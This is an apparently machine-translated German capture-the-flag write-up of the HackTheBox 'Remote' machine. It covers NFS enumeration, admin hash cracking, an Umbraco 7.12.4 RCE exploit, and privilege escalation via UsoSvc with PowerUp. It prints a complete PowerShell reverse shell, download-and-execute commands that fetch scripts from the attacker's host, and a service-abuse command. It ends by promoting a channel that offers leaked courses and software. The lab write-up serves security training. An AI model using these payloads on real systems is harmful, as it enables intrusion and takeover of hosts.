HackTheBox. Passage der Fernbedienung. NFS, RCE in CMS Umbraco und LPE über UsoSvc



Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .



In diesem Artikel beschäftigen wir uns mit der NFS-Ressource, beschäftigen uns mit dem RCE-Exploit für CMS Umbraco und finden den LPE-Vektor über UsoSvc mit PowerUp.



Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.



Organisationsinformationen
, , Telegram . , , .



. , - , .



Aufklärung



Dieser Computer hat eine IP-Adresse vom 10.10.10.180, die ich zu / etc / hosts hinzufüge.



10.10.10.180 	remote.htb


Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich es zuerst mit Masscan durchführen. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500






Auf dem Host sind viele Ports geöffnet. Scannen wir sie jetzt mit nmap, um die benötigten zu filtern und auszuwählen.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.



nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Port 111 ist für NFS verantwortlich (ermöglicht das Mounten von Remote-Dateisystemen über das Netzwerk). Sehen wir uns die Liste der Ressourcen an.







Wir haben verfügbare Ressourcen. Lassen Sie uns diese Ressource bereitstellen.







Und in diesem Verzeichnis finden wir Web.config und den Umbraco-Ordner. Umbraco ist eine Open Source Content Management System Plattform.







Daher müssen wir alle Konfigurationen sehen und die Version von Umbraco herausfinden. Dies kann in der Web.Config vermerkt werden.











Wir finden Anmeldeinformationen für SMTP und die Umbraco-Version: 7.12.4. Koraya ist anfällig, wenn Anmeldeinformationen vorhanden sind.



Einstiegspunkt







Als Nächstes habe ich alle Dateien und Verzeichnisse aufgelistet, die sich auf dem Remote-Server befinden, um die Dateien auszuwählen und anzuzeigen, die von Interesse sind.

ls -lR ./


















Nachdem der Dateibereich begrenzt ist, sollten Sie sie sich ansehen (Sie können oberflächlich mit grep Zeilen wie Benutzer, Login, Pass, Vers usw. auswählen). So finden wir Informationen über die Existenz von zwei Benutzern:











Danach suchen wir erneut nach den Zeilen admin und ssmith. Und wir finden Hashes für Benutzerdaten.











Und hacken Sie erfolgreich das Administratorkennwort.







Wenn Sie sich die Exploit-DB-Basis ansehen, gibt es einen vorgefertigten Exploit, der jedoch geringfügig geändert werden muss.







NUTZER



Erstens: Wir werden die Anmeldeinformationen und den Host angeben.







Zweitens werden wir die Last ändern, indem wir die ausführbare Datei und die Parameter dafür angeben. In diesem Fall verwenden wir Ping für den Test.







Sobald das Programm ausgeführt wird, werden ICMP-Pakete in tcpdump angezeigt.











Laden wir die folgende Reverse Shell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()




Speichern wir es in shell.ps1 und starten den http-Server auf dem lokalen Computer.

sudo python3 -m http.server


Lassen Sie uns die Last ändern.







Und nach der Ausführung erhalten wir eine Rückverbindung.







Es gibt keine Benutzerverzeichnisse auf dem Server, daher finden wir das Flag in der Öffentlichkeit.







WURZEL



Nachdem wir uns die Informationen über den Benutzer angesehen haben, stellen wir ein interessantes Privileg fest.







Da dies jedoch Windows Server 2019 ist, funktioniert es nicht, sich als Token für LPE auszugeben.







Verwenden wir PowerUp , um den LPE-Vektor zu finden. Laden Sie es von localhost herunter und führen Sie eine vollständige Überprüfung durch.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks






Wir haben die Berechtigung, den Orchestrator-Dienst zu aktualisieren. Update Orchestrator ist ein Dienst, der Windows-Updates für Sie organisiert. Dieser Dienst ist für das Herunterladen, Installieren und Suchen nach Updates für den Computer verantwortlich.



Erstellen wir eine zweite Shell (ändern Sie den Port in der ersten) und laden Sie sie auf den Computer.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1


Und jetzt lassen Sie es uns mit UsoSvc ausführen.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"






Und wir bekommen eine Rückverbindung.







Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.



All Articles